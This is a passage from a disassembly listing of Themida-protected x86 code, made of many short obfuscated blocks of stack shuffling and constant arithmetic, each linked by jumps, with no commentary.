loc_570AB3: ; CODE XREF: Themida_:00571DEDj
add esp, 4
add ebx, 0FFFFFFFFh
inc ebx
jmp loc_55FF3B
; ---------------------------------------------------------------------------
loc_570AC5: ; CODE XREF: Themida_:0056E6D8j
sub eax, 2D4C68AEh
jmp loc_568B5A
; ---------------------------------------------------------------------------
loc_570ACF: ; CODE XREF: Themida_:0056C78Dj
add esp, 4
sub esp, 4
mov [esp], ebp
push eax
mov eax, 417E38D6h
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_560633
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
jmp loc_56EFBF
; ---------------------------------------------------------------------------
loc_570B08: ; CODE XREF: Themida_:00565631j
push 8EE5F01h
pop edx
dec edx
jmp loc_560678
; ---------------------------------------------------------------------------
loc_570B14: ; CODE XREF: Themida_:0056BAE4j
add [esp+4], ebx
pop ebx
jmp loc_571C9A
; ---------------------------------------------------------------------------
loc_570B1E: ; CODE XREF: Themida_:0056A5A4j
mov [esp], edi
mov edi, 4
add edx, 4528760Dh
add edx, edi
jmp loc_56DEAB
; ---------------------------------------------------------------------------
loc_570B33: ; CODE XREF: Themida_:0055EAE3j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
jmp loc_563B11
; ---------------------------------------------------------------------------
loc_570B4A: ; CODE XREF: Themida_:0056D483j
mov edx, 7ABB73AAh
and edx, 0C036648h
inc edx
neg edx
dec edx
sub edx, 0F7FC9DF2h
jmp loc_55DE42
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_570B64: ; CODE XREF: sub_59DB3D-3E6C8j
sub edi, 2
xchg edi, [esp+2Ch+var_2C]
mov esp, [esp+2Ch+var_2C]
jmp loc_56A3A8
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_570B72: ; CODE XREF: Themida_:00564991j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_570B77: ; CODE XREF: Themida_:0056EF6Dj
mov [esp], ebx
jmp loc_56C412
; ---------------------------------------------------------------------------
loc_570B7F: ; CODE XREF: Themida_:00560AFDj
pop ecx
jmp loc_56C83A
; ---------------------------------------------------------------------------
loc_570B85: ; CODE XREF: Themida_:00569AD9j
add dh, ch
pop ecx
push ebx
mov bl, 89h
not bl
shr bl, 6
dec bl
sub bl, 0E5h
add bl, 6Dh
sub al, bl
pop ebx
add al, dh
jmp loc_572674
; ---------------------------------------------------------------------------
loc_570BA2: ; CODE XREF: Themida_:00560DE0j
mov ebx, [esp]
add esp, 4
sub edx, 3E5C34FBh
add edx, esi
jmp loc_571A4F
; ---------------------------------------------------------------------------
loc_570BB5: ; CODE XREF: Themida_:0055FB18j
pop ecx
add edi, 4
xchg edi, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_570D71
; ---------------------------------------------------------------------------
loc_570BCE: ; CODE XREF: Themida_:0055DF74j
push eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
jmp loc_566DA5
; ---------------------------------------------------------------------------
loc_570BE5: ; CODE XREF: Themida_:00563479j
mov esp, [esp]
push ebp
sub dword ptr [esp], 11527A71h
pop edx
add edx, 11527A71h
mov ebp, [esp]
jmp loc_563DE4
; ---------------------------------------------------------------------------
loc_570BFF: ; CODE XREF: Themida_:0056EB0Fj
mov ch, 0A6h
sub al, ch
jmp loc_560B91
; ---------------------------------------------------------------------------
neg byte ptr [esp]
pushf
jmp loc_570C9F
; ---------------------------------------------------------------------------
loc_570C11: ; CODE XREF: Themida_:0056C7C4j
mov ebx, 24h
add ebx, edi
jmp loc_55E106
; ---------------------------------------------------------------------------
loc_570C1D: ; CODE XREF: Themida_:0056516Cj
add dl, 49h
add dl, 71h
sub dl, 0AEh
jmp loc_55DA75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562A0A
loc_570C2B: ; CODE XREF: sub_562A0A+9496j
pop ecx
add bl, dl
mov edx, [esp+8+var_8]
add esp, 4
jmp loc_568B2E
; END OF FUNCTION CHUNK FOR sub_562A0A
; ---------------------------------------------------------------------------
loc_570C39: ; CODE XREF: Themida_:0055D924j
sub edx, 5186D67h
and edx, 79D948B8h
add edx, 57664B5Fh
add edx, 0D12FEEB6h
jmp loc_562115
; ---------------------------------------------------------------------------
loc_570C56: ; CODE XREF: Themida_:0056E99Cj
push edx
mov edx, 4A5B0BF2h
dec edx
sub edx, 731A45C5h
shr edx, 4
jmp loc_56FD5A
; ---------------------------------------------------------------------------
loc_570C6B: ; CODE XREF: Themida_:0055E3FEj
mov esi, [esp]
add esp, 4
jmp loc_572331
; ---------------------------------------------------------------------------
loc_570C79: ; CODE XREF: Themida_:00570897j
and edx, 42C53B12h
sub edx, 4B8C4454h
sub edx, 2D8F32F2h
shr edx, 2
and edx, 6BC73736h
xor edx, 39FF5FE0h
jmp loc_56B9F6
; ---------------------------------------------------------------------------
loc_570C9F: ; CODE XREF: Themida_:00570C0Cj
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_570CA4: ; CODE XREF: Themida_:00569D38j
add esi, 1
jmp loc_5643AF
; ---------------------------------------------------------------------------
loc_570CAC: ; CODE XREF: Themida_:0055EB88j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
jmp loc_562E91
; ---------------------------------------------------------------------------
loc_570CBB: ; CODE XREF: Themida_:00560990j
dec bl
shr bl, 6
sub bl, 28h
xor bl, 0D3h
add ch, 0B2h
jmp loc_56749A
; ---------------------------------------------------------------------------
loc_570CCE: ; CODE XREF: Themida_:0056E376j
mov [esp], eax
push edx
push ebx
mov bl, 53h
mov dh, bl
jmp loc_571828
; ---------------------------------------------------------------------------
loc_570CDC: ; CODE XREF: Themida_:00572351j
xchg ebp, [esp]
jmp loc_5652E4
; ---------------------------------------------------------------------------
loc_570CE4: ; CODE XREF: Themida_:00566742j
not edx
push ebx
mov ebx, 6CCF669Fh
jmp loc_571C76
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_570CF1: ; CODE XREF: sub_59DB3D-2D56Aj
inc ah
not ah
add ah, 7
not ah
sub esp, 2
mov [esp+0], cx
jmp loc_566AEA
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_570D06: ; CODE XREF: Themida_:0055F34Dj
mov eax, 0BF5548Eh
sub eax, 77CB42F7h
jmp loc_569743
; ---------------------------------------------------------------------------
loc_570D15: ; CODE XREF: Themida_:0055DCD3j
mov [esp], ebx
mov ebx, esp
jmp loc_56BBC3
; ---------------------------------------------------------------------------
loc_570D1F: ; CODE XREF: Themida_:0056EC89j
shr ebp, 1
or ebp, 20A777ACh
jmp loc_561861
; ---------------------------------------------------------------------------
loc_570D2C: ; CODE XREF: Themida_:0056C7CCj
pop edi
add eax, 3A4823C5h
sub eax, ebp
sub eax, 3A4823C5h
mov ebp, [esp]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
push edi
push esi
mov esi, 7413169Fh
xor esi, 0EFA190Dh
inc esi
add esi, 8516F071h
mov edi, esi
jmp loc_5612A5
; ---------------------------------------------------------------------------
loc_570D66: ; CODE XREF: Themida_:0056D55Bj
sub ecx, 10045C7Dh
jmp loc_56F70D
; ---------------------------------------------------------------------------
loc_570D71: ; CODE XREF: Themida_:00570BC9j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_570D76: ; CODE XREF: Themida_:0056F77Aj
xor dword ptr [ebx], 109459E2h
pop ebx
push 0EA6h
mov [esp], ebp
push ebx
mov ebx, 0AF16471h
jmp loc_568CF4
; ---------------------------------------------------------------------------
loc_570D90: ; CODE XREF: Themida_:0056EB71j
shr ecx, 4
add ecx, 54813456h
sub edx, ecx
pop ecx
add edx, ebp
add edx, 5C8D70D6h
pop ebp
sub edx, 36D66C30h
jmp loc_56897D
; ---------------------------------------------------------------------------
loc_570DB0: ; CODE XREF: Themida_:00569638j
add bl, 2Dh
sub bl, 51h
push edx
mov dl, 55h
sub bl, dl
mov edx, [esp]
add esp, 4
jmp loc_5685FB
; ---------------------------------------------------------------------------
loc_570DC9: ; CODE XREF: Themida_:00564843j
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
mov [esp], ebx
push dword ptr [esp]
pop eax
push 22B6h
mov [esp], ecx
jmp loc_56768D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_570DE7: ; CODE XREF: sub_59DB3D-3337Ej
and ch, 4
sub ch, 94h
add al, 93h
jmp loc_571354
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_570DF4: ; CODE XREF: Themida_:00566D69j
mov [esp], edi
mov edi, 4
add ecx, edi
pop edi
add ecx, 4
xchg ecx, [esp]
jmp loc_567F96
; ---------------------------------------------------------------------------
loc_570E0A: ; CODE XREF: Themida_:00572AF0j
pop eax
jmp loc_56F16F
; ---------------------------------------------------------------------------
push dword ptr [edi+38h]
add dword ptr [esp], 741251F8h
jmp loc_56B4C7
; ---------------------------------------------------------------------------
loc_570E1F: ; CODE XREF: Themida_:005698E5j
pop esi
add edi, 3295E38Fh
xor ebx, edi
pop edi
add edi, 465E7EE4h
sub edi, ebx
sub edi, 465E7EE4h
pop ebx
add eax, 2D391BCBh
sub eax, edi
sub eax, 2D391BCBh
pop edi
xchg eax, [esp]
pop esp
mov [esp], cx
jmp loc_57125F
; ---------------------------------------------------------------------------
loc_570E52: ; CODE XREF: Themida_:005697C2j
sub ebx, 1A95055Fh
add ebx, ebp
add ebx, 1A95055Fh
pop ebp
push eax
mov eax, 61EC66C0h
xor eax, 59F37FC7h
sub eax, 20E8FCA4h
jmp loc_55F41A
; ---------------------------------------------------------------------------
loc_570E76: ; CODE XREF: Themida_:0057006Fj
not bl
xchg al, bl
inc al
xchg al, bl
sub esp, 2
mov [esp], cx
jmp loc_563D82
; ---------------------------------------------------------------------------
loc_570E8D: ; CODE XREF: Themida_:00568E10j
push esi
mov esi, 49DE2BC3h
mov edx, 9AA6FCAAh
add edx, esi
jmp loc_56A743
; ---------------------------------------------------------------------------
loc_570E9F: ; CODE XREF: Themida_:00571CC4j
push ebp
mov ebp, 57D013A4h
jmp loc_56920A
; ---------------------------------------------------------------------------
loc_570EAA: ; CODE XREF: Themida_:0056BC8Aj
pop edx
pop edx
push ecx
push 41263F04h
jmp loc_562B36
; ---------------------------------------------------------------------------
loc_570EB7: ; CODE XREF: Themida_:0055D312j
pop edi
xor eax, 4864082h
mov edx, eax
mov eax, [esp]
add esp, 4
sub edi, 32B47E06h
add edi, edx
jmp loc_5607FA
; ---------------------------------------------------------------------------
loc_570ED5: ; CODE XREF: Themida_:00560ADDj
add ebp, 3CD15CE3h
push ecx
mov ecx, 797E0962h
add ecx, 0A17A1E2Ch
jmp loc_5654C5
; ---------------------------------------------------------------------------
loc_570EEC: ; CODE XREF: Themida_:0056AA2Cj
add eax, ebp
pop ebp
jmp loc_5673B1
; ---------------------------------------------------------------------------
loc_570EF4: ; CODE XREF: Themida_:0056E85Ej
pop edi
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
pop eax
jmp loc_55FC01
; ---------------------------------------------------------------------------
loc_570F0A: ; CODE XREF: Themida_:00565C8Bj
inc ebp
push 72EAh
mov [esp], edx
mov edx, 46886A12h
jmp loc_55EA4B
; ---------------------------------------------------------------------------
loc_570F1D: ; CODE XREF: Themida_:0056C041j
push dword ptr [esp]
mov ecx, [esp]
jmp loc_56052A
; ---------------------------------------------------------------------------
loc_570F28: ; CODE XREF: Themida_:005706CFj
mov esi, 0A563E050h
jmp loc_55EA2D
; ---------------------------------------------------------------------------
loc_570F32: ; CODE XREF: Themida_:0055E819j
xchg edi, [esp]
pop esp
jmp loc_571290
; ---------------------------------------------------------------------------
loc_570F3B: ; CODE XREF: Themida_:005675AEj
push 2808h
mov [esp], ecx
mov ch, 56h
push 3FB3h
jmp loc_560988
; ---------------------------------------------------------------------------
loc_570F4F: ; CODE XREF: Themida_:005706EFj
xor edi, 4A96568Fh
sub ecx, edi
push dword ptr [esp]
pop edi
jmp loc_56F9BC
; ---------------------------------------------------------------------------
loc_570F60: ; CODE XREF: Themida_:0057125Aj
xor ebp, 0FAFFFDBEh
and ebx, ebp
pop ebp
not ebx
jmp loc_562F7B
; ---------------------------------------------------------------------------
loc_570F70: ; CODE XREF: Themida_:0056ED04j
sub ebx, 7DA4753Ch
push ebp
mov ebp, 3F7E2324h
dec ebp
dec ebp
add ebp, 1E6002D8h
add ebx, 202F5C0Fh
add ebx, 36812130h
add ebx, ebp
sub ebx, 36812130h
jmp loc_55FF5A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562A0A
loc_570F9D: ; CODE XREF: sub_562A0A-CD3j
or dl, cl
pop ecx
push ecx
jmp loc_56004D
; END OF FUNCTION CHUNK FOR sub_562A0A
; ---------------------------------------------------------------------------
loc_570FA6: ; CODE XREF: Themida_:0055F711j
mov [esp], ebp
push 733Dh
mov [esp], edi
jmp loc_565CA9
; ---------------------------------------------------------------------------
loc_570FB6: ; CODE XREF: Themida_:005693A0j
mov edx, 7A8C622Dh
sub esp, 4
mov [esp], edx
push ebp
jmp loc_5608A6
; ---------------------------------------------------------------------------
loc_570FC7: ; CODE XREF: Themida_:0056A3E4j
mov [esp], ebx
push 313Ah
jmp loc_567EF0
; ---------------------------------------------------------------------------
loc_570FD4: ; CODE XREF: Themida_:0056619Cj
add esi, ebp
pop ebp
sub ebp, 56ED5E5Ah
add ebp, esi
add ebp, 56ED5E5Ah
pop esi
mov edx, ebp
jmp loc_56EC02
; ---------------------------------------------------------------------------
loc_570FED: ; CODE XREF: Themida_:0056D0ADj
mov ebx, 78536BD0h
add ebx, 2AF04205h
sub ebx, 4F331B18h
push edi
jmp loc_568044
; ---------------------------------------------------------------------------
loc_571004: ; CODE XREF: Themida_:0055F8D0j
mov [esp], edi
mov edi, 1
sub dword ptr [esp+4], 5CBF3F6Eh
add dword ptr [esp+4], 1B23C70h
sub dword ptr [esp+4], 7BC2708Ch
sub [esp+4], edi
push edx
mov edx, 7BC2708Ch
push ebp
jmp loc_56F37D
; ---------------------------------------------------------------------------
loc_571034: ; CODE XREF: Themida_:0056FF82j
not ebx
jmp loc_56353B
; ---------------------------------------------------------------------------
loc_57103B: ; CODE XREF: Themida_:0056C6F5j
xchg edi, [esp]
pop esp
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
push esi
mov esi, 7EF0788Bh
xor esi, 4E8433C7h
jmp loc_56F81A
; ---------------------------------------------------------------------------
loc_571057: ; CODE XREF: Themida_:0056FDC6j
mov ecx, 2
jmp loc_56FDD2
; ---------------------------------------------------------------------------
loc_571061: ; CODE XREF: Themida_:00571EF5j
xor ecx, 105A4D29h
and ecx, 6E744FF6h
neg ecx
shl ecx, 5
jmp loc_56691E
; ---------------------------------------------------------------------------
loc_571077: ; CODE XREF: Themida_:0056B6E2j
pop edi
push esi
mov esi, 30BE786Ch
sub edx, esi
pop esi
add edx, esi
add edx, 30BE786Ch
pop esi
xor edx, [esp]
xor [esp], edx
jmp loc_57147A
; ---------------------------------------------------------------------------
loc_571095: ; CODE XREF: Themida_:005604F4j
inc eax
not eax
inc eax
jmp loc_5662CD
; ---------------------------------------------------------------------------
loc_57109E: ; CODE XREF: Themida_:00561662j
mov eax, 0E065928h
xor eax, 7B1C4F1Dh
or eax, 591B00E8h
jmp loc_562A5A
; ---------------------------------------------------------------------------
loc_5710B2: ; CODE XREF: Themida_:0056C741j
add esp, 4
jmp loc_56B8CC
; ---------------------------------------------------------------------------
loc_5710BD: ; CODE XREF: Themida_:005636C9j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5710C2: ; CODE XREF: Themida_:005630DCj
sub edx, ebp
add edx, 44C1192Fh
pop ebp
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_56519A
; ---------------------------------------------------------------------------
loc_5710DC: ; CODE XREF: Themida_:00563555j
pop ebx
xor ebp, 37CE0F50h
and ebp, 5B5B3266h
and ebp, 660D1867h
push esi
jmp loc_56B5DC
; ---------------------------------------------------------------------------
loc_5710F5: ; CODE XREF: Themida_:00571419j
sub ebp, 687D1BF4h
xor esi, ebp
pop ebp
push esi
jmp loc_561B7E
; ---------------------------------------------------------------------------
loc_571104: ; CODE XREF: Themida_:0056B433j
xchg eax, [esp]
push eax
jmp loc_572AEF
; ---------------------------------------------------------------------------
loc_57110D: ; CODE XREF: Themida_:00563BEEj
mov dh, 58h
sub dh, 0BBh
or dh, 21h
push ax
mov ah, 7Ah
add dh, ah
pop ax
sub ch, dh
pop edx
push edx
push ebx
mov bl, ch
mov dh, bl
pop ebx
jmp loc_56C177
; ---------------------------------------------------------------------------
loc_57112C: ; CODE XREF: Themida_:00561F13j
pop dword ptr [esp]
jmp loc_55F58F
; ---------------------------------------------------------------------------
loc_571134: ; CODE XREF: Themida_:0056B1D6j
sub esp, 4
jmp loc_565C9E
; ---------------------------------------------------------------------------
loc_57113F: ; CODE XREF: Themida_:0055DB92j
add edi, ebp
mov ebp, [esp]
add esp, 4
sub edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
mov [esp], ebx
mov ebx, 929162Dh
xor eax, ebx
mov ebx, [esp]
add esp, 4
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
sub esp, 4
mov [esp], ebx
push 0EE3h
mov [esp], edx
push esi
jmp loc_56EC2C
; ---------------------------------------------------------------------------
loc_571190: ; CODE XREF: Themida_:00563B3Ej
add ebx, 3EAE0467h
jmp loc_56FFCE
; ---------------------------------------------------------------------------
loc_57119B: ; CODE XREF: Themida_:005696A4j
add esp, 2
jmp loc_571D55
; ---------------------------------------------------------------------------
loc_5711A6: ; CODE XREF: Themida_:0056F1FEj
push esi
mov esi, edi
mov ebx, esi
pop esi
mov edi, [esp]
add esp, 4
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5711BA: ; CODE XREF: Themida_:0055FB5Ej
pop dword ptr [esp]
pop esp
jmp loc_56EFFC
; ---------------------------------------------------------------------------
loc_5711C3: ; CODE XREF: Themida_:00569FC4j
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_55EB72
; ---------------------------------------------------------------------------
loc_5711D4: ; CODE XREF: Themida_:0056DE64j
push edx
mov edx, 29FC1ACDh
sub edi, 19BD050Fh
sub edi, 501B45A3h
add edi, edx
add edi, 501B45A3h
push ebp
mov ebp, 4C69796Ch
jmp loc_56468D
; ---------------------------------------------------------------------------
loc_5711F9: ; CODE XREF: Themida_:0056CD73j
mov eax, [esp]
add esp, 4
jmp loc_566758
; ---------------------------------------------------------------------------
loc_571204: ; CODE XREF: Themida_:0056B828j
add esp, 4
or eax, eax
jz loc_56E78D
push dword ptr [edi+1Ch]
push ebp
mov ebp, 59C8200Ch
xor [esp+4], ebp
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_55FDCD
; ---------------------------------------------------------------------------
loc_571239: ; CODE XREF: Themida_:00567F5Fj
mov esi, [esp]
add esp, 4
push eax
mov eax, 5D364E75h
and ecx, eax
jmp loc_5620AF
; ---------------------------------------------------------------------------
loc_57124F: ; CODE XREF: Themida_:00571326j
mov ebp, 79D94B18h
xchg esi, ebp
not esi
xchg esi, ebp
jmp loc_570F60
; ---------------------------------------------------------------------------
loc_57125F: ; CODE XREF: Themida_:00570E4Dj
movzx cx, al
push cx
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_57126B: ; CODE XREF: Themida_:00563181j
add edi, 0EEFEA406h
jmp loc_560102
; ---------------------------------------------------------------------------
loc_571276: ; CODE XREF: Themida_:00566888j
sub dword ptr [esp+4], 1CF52255h
jmp loc_571A1F
; ---------------------------------------------------------------------------
loc_571283: ; CODE XREF: Themida_:0056C632j
push ecx
mov ecx, 6FEE24C6h
shr ecx, 1
jmp loc_56F043
; ---------------------------------------------------------------------------
loc_571290: ; CODE XREF: Themida_:00570F36j
mov [esp], ebx
push ecx
jmp loc_562553
; ---------------------------------------------------------------------------
loc_571299: ; CODE XREF: Themida_:00569453j
mov ebp, 7DE739F2h
xor ebp, 747B479Fh
jmp loc_571D03
; ---------------------------------------------------------------------------
loc_5712A9: ; CODE XREF: Themida_:0056276Fj
mov edi, 17B4033Fh
push ebp
push 0E105895h
pop ebp
sub ebp, 0E95845EBh
jmp loc_56020D
; ---------------------------------------------------------------------------
loc_5712C0: ; CODE XREF: Themida_:005684C3j
push 70B8h
mov [esp], esi
xor [esp], ebx
xor ebx, [esp]
xor [esp], ebx
jmp loc_569263
; ---------------------------------------------------------------------------
loc_5712D6: ; CODE XREF: Themida_:00565979j
sub edx, 2E34457h
jmp loc_55FF2D
; ---------------------------------------------------------------------------
loc_5712E1: ; CODE XREF: Themida_:0055FF36j
sub edx, 307E6E10h
add edx, 36E12CB2h
push ecx
jmp loc_56D54E
; ---------------------------------------------------------------------------
loc_5712F3: ; CODE XREF: Themida_:00560C81j
mov edx, 530B5413h
jmp loc_5690F0
; ---------------------------------------------------------------------------
loc_5712FD: ; CODE XREF: Themida_:00562C6Cj
push eax
mov eax, 34C95656h
xor eax, 0CE10E672h
xor esi, eax
mov eax, [esp]
add esp, 4
add edx, 36133D5Dh
jmp loc_55E3F6
; ---------------------------------------------------------------------------
loc_57131E: ; CODE XREF: Themida_:0055E93Ej
pop ebp
xor ebx, ecx
pop ecx
not ebx
inc ebx
push ebp
jmp loc_57124F
; ---------------------------------------------------------------------------
loc_57132B: ; CODE XREF: Themida_:0055E15Ej
mov [esp], ax
push edx
mov dh, 0Fh
mov al, 17h
add al, dh
jmp loc_55DA4F
; ---------------------------------------------------------------------------
loc_57133B: ; CODE XREF: Themida_:00561F75j
not ebx
shr ebx, 5
add ebx, 44A74499h
add eax, ebx
jmp loc_571587
; ---------------------------------------------------------------------------
loc_57134D: ; CODE XREF: Themida_:0056D8B7j
mov edi, esp
jmp loc_56CC4E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_571354: ; CODE XREF: sub_59DB3D-2CD4Ej
add al, 60h
sub al, ch
sub al, 60h
sub al, 93h
mov ecx, [esp+0]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+32h+var_32]
pop esp
add al, 36h
sub al, bl
push ebx
mov bh, 36h
sub al, bh
pop ebx
sub esp, 4
jmp loc_56AB8C
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_571387: ; CODE XREF: Themida_:00568C17j
sub edx, 28D761C1h
pop ebp
push esi
mov esi, 4
add edx, esi
pop esi
xor edx, [esp]
xor [esp], edx
jmp loc_55FD0F
; ---------------------------------------------------------------------------
loc_5713A2: ; CODE XREF: Themida_:00561C18j
mov [esp], edx
jmp loc_5726CC
; ---------------------------------------------------------------------------
loc_5713AA: ; CODE XREF: Themida_:0055DC25j
neg cl
inc cl
push edx
mov dh, 53h
and dh, 4
push edx
neg byte ptr [esp+1]
jmp loc_566230
; ---------------------------------------------------------------------------
loc_5713BE: ; CODE XREF: Themida_:00568BDEj
pop edi
add esp, 4
jmp loc_55FD71
; ---------------------------------------------------------------------------
loc_5713CA: ; CODE XREF: Themida_:00563FE2j
add ch, 1
sub ch, 0D7h
shr ch, 3
push edx
mov dh, 0D6h
jmp loc_56C184
; ---------------------------------------------------------------------------
loc_5713DB: ; CODE XREF: Themida_:00562403j
sub dl, 1
shr dl, 1
push eax
jmp loc_56D032
; ---------------------------------------------------------------------------
loc_5713E6: ; CODE XREF: Themida_:00568978j
pop dword ptr [esp]
mov esp, [esp]
mov [esp], esi
jmp loc_5669AD
; ---------------------------------------------------------------------------
loc_5713F4: ; CODE XREF: Themida_:005680D3j
push 7C67h
jmp loc_567ADA
; ---------------------------------------------------------------------------
loc_5713FE: ; CODE XREF: Themida_:005682BAj
xchg ebp, [esp]
pop esp
jmp loc_571BAF
; ---------------------------------------------------------------------------
loc_571407: ; CODE XREF: Themida_:00568FB4j
sub esi, 2
jmp loc_566C63
; ---------------------------------------------------------------------------
loc_57140F: ; CODE XREF: Themida_:0056309Cj
mov ebp, edi
pop edi
dec ebp
or ebp, 1BC93373h
jmp loc_5710F5
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], edi
push esp
mov edi, [esp]
jmp loc_55E7F3
; ---------------------------------------------------------------------------
loc_571431: ; CODE XREF: Themida_:00568FAEj
add ebx, 4
jmp loc_568F0D
; ---------------------------------------------------------------------------
loc_57143C: ; CODE XREF: Themida_:00565A64j
mov edi, 0FFFFFFFFh
add esi, 61D8448Dh
add esi, edi
sub esi, 61D8448Dh
jmp loc_55E972
; ---------------------------------------------------------------------------
loc_571454: ; CODE XREF: Themida_:0056E1FEj
sub esp, 4
jmp loc_56C1C4
; ---------------------------------------------------------------------------
loc_57145C: ; CODE XREF: Themida_:00570489j
or ebp, 6C6401A4h
push esi
jmp loc_565C6B
; ---------------------------------------------------------------------------
loc_571468: ; CODE XREF: Themida_:0056D3BFj
sub ebx, 51A905E0h
jmp loc_566DB0
; ---------------------------------------------------------------------------
loc_571473: ; CODE XREF: Themida_:0057182Bj
xor al, dh
jmp loc_56358B
; ---------------------------------------------------------------------------
loc_57147A: ; CODE XREF: Themida_:00571090j
xor edx, [esp]
mov esp, [esp]
push 6E9Fh
mov [esp], edx
push 1
pop edx
jmp loc_569476
; ---------------------------------------------------------------------------
loc_571493: ; CODE XREF: Themida_:00568E71j
mov [esp], eax
jmp loc_571647
; ---------------------------------------------------------------------------
loc_57149B: ; CODE XREF: Themida_:00563E86j
push ebp
push ebx
mov ebx, 3003313Fh
jmp loc_56CAE4
; ---------------------------------------------------------------------------
loc_5714A7: ; CODE XREF: Themida_:00563E0Bj
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5714AC: ; CODE XREF: Themida_:0056D114j
push ecx
mov ecx, 4
add edx, ecx
pop ecx
push ebp
mov ebp, 4
add edx, ebp
pop ebp
xchg edx, [esp]
jmp loc_564065
; ---------------------------------------------------------------------------
loc_5714C6: ; CODE XREF: Themida_:00568BE4j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
mov edx, 80h
push eax
push edx
jmp loc_568578
; ---------------------------------------------------------------------------
loc_5714E7: ; CODE XREF: Themida_:00564FD2j
shl cl, 8
xor cl, 0CFh
mov dl, cl
pop ecx
jmp loc_569226
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 0B2685524h, 0E9000028h, 0FFFF761Ch
; ---------------------------------------------------------------------------
loc_571504: ; CODE XREF: Themida_:0055EC22j
add esi, 166119B9h
pop ecx
jmp loc_562568
; ---------------------------------------------------------------------------
loc_571510: ; CODE XREF: Themida_:00568A03j
mov eax, 4E9103F5h
xor eax, 4E9103F1h
jmp loc_5641E4
; ---------------------------------------------------------------------------
loc_57151F: ; CODE XREF: Themida_:0056D676j
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
inc byte ptr [esp]
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_571534: ; CODE XREF: Themida_:0056B4A9j
sub ebp, eax
pop eax
sub edx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_562049
; ---------------------------------------------------------------------------
loc_571544: ; CODE XREF: Themida_:0056F527j
pop esi
sub ebx, esi
pop esi
xchg ebx, [esp]
mov esp, [esp]
mov [esp], eax
push esp
pop eax
add eax, 4
sub esp, 4
mov [esp], ebx
push 2
jmp loc_5664BA
; ---------------------------------------------------------------------------
loc_571568: ; CODE XREF: Themida_:0056D451j
add ebx, 4
xchg ebx, [esp]
pop esp
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mul cx
push small 761Bh
jmp loc_56063B
; ---------------------------------------------------------------------------
loc_571587: ; CODE XREF: Themida_:00571348j
pop ebx
pop ecx
push 70B5h
mov [esp], ecx
push esp
mov ecx, [esp]
jmp loc_565F86
; ---------------------------------------------------------------------------
loc_57159A: ; CODE XREF: Themida_:005695A6j
add ecx, edi
pop edi
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_56D6C5
; ---------------------------------------------------------------------------
loc_5715B4: ; CODE XREF: Themida_:0056EDF8j
mov edx, esp
add edx, 4
sub esp, 4
mov [esp], ecx
mov ecx, 4
sub edx, ecx
pop ecx
xchg edx, [esp]
pop esp
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_56EB14
; ---------------------------------------------------------------------------
loc_5715EB: ; CODE XREF: Themida_:005676C6j
xor edx, esi
jmp loc_5697EF
; ---------------------------------------------------------------------------
loc_5715F2: ; CODE XREF: Themida_:00564081j
push ebp
push 19F9h
mov [esp], esp
jmp loc_570510
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push edx
mov edx, esp
push ecx
mov ecx, 4
add edx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_55D359
; ---------------------------------------------------------------------------
loc_57161D: ; CODE XREF: Themida_:00561CDBj
mov [esp], ecx
mov ecx, 5DB46B96h
shr ecx, 6
shl ecx, 2
xor ecx, 7EC57CCh
sub ebx, 681331E8h
sub ebx, ecx
push edx
jmp loc_564979
; ---------------------------------------------------------------------------
loc_57163F: ; CODE XREF: Themida_:005601E9j
